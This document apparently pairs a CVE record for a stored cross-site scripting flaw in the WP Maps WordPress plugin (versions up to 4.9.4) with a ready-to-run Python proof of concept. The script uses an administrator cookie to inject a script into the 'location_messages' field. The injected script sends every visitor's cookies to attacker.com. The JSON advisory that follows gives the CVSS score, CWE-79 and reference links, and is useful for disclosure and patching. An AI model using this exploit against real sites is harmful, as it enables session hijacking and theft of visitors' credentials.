CVE-2026-9594

import requests import sys # CVE-2026-9594 PoC - Stored XSS in WP Maps plugin # Target: WordPress site with WP Maps plugin <= 4.9.4 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" admin_cookie = sys.argv[2] if len(sys.argv) > 2 else "" # Malicious payload for stored XSS xss_payload = '''<script>document.location='https://attacker.com/log?c='+document.cookie</script>''' # Endpoint for location management api_endpoint = f"{target_url}/wp-admin/admin.php?page=wpgmp_view_location" # PoC: Inject XSS via location_messages parameter # This requires administrator privileges with wpgmp_manage_location capability def exploit(): headers = { "Cookie": admin_cookie, "Content-Type": "application/x-www-form-urlencoded" } # Data fields typically required for location creation data = { "location_title": "Test Location", "location_messages": xss_payload, # XSS payload injection point "location_address": "Test Address", "location_latitude": "40.7128", "location_longitude": "-74.0060", "action": "add" } response = requests.post(api_endpoint, data=data, headers=headers) if response.status_code == 200: print("[+] XSS payload injected successfully!") print("[+] Payload will execute when location page is accessed") else: print("[-] Injection failed") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-9594", "sourceIdentifier": "[email protected]", "published": "2026-06-06T05:16:29.787", "lastModified": "2026-06-08T14:57:14.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'location_messages' parameter in all versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Exploitation requires the attacker to hold the custom wpgmp_manage_location capability, which is granted to administrators by default but can be assigned to lower-privileged roles via the plugin's Permissions screen."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-google-map-plugin/tags/4.9.2/modules/location/model.location.php#L299", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-google-map-plugin/tags/4.9.2/modules/shortcode/views/put-wpgmp.php#L632", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-google-map-plugin/trunk/modules/location/model.location.php#L299", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-google-map-plugin/trunk/modules/shortcode/views/put-wpgmp.php#L632", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3550683%40wp-google-map-plugin&new=3550683%40wp-google-map-plugin&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d082c6e6-a18a-44e2-9478-7189f9777198?source=cve", "source": "[email protected]"}]}}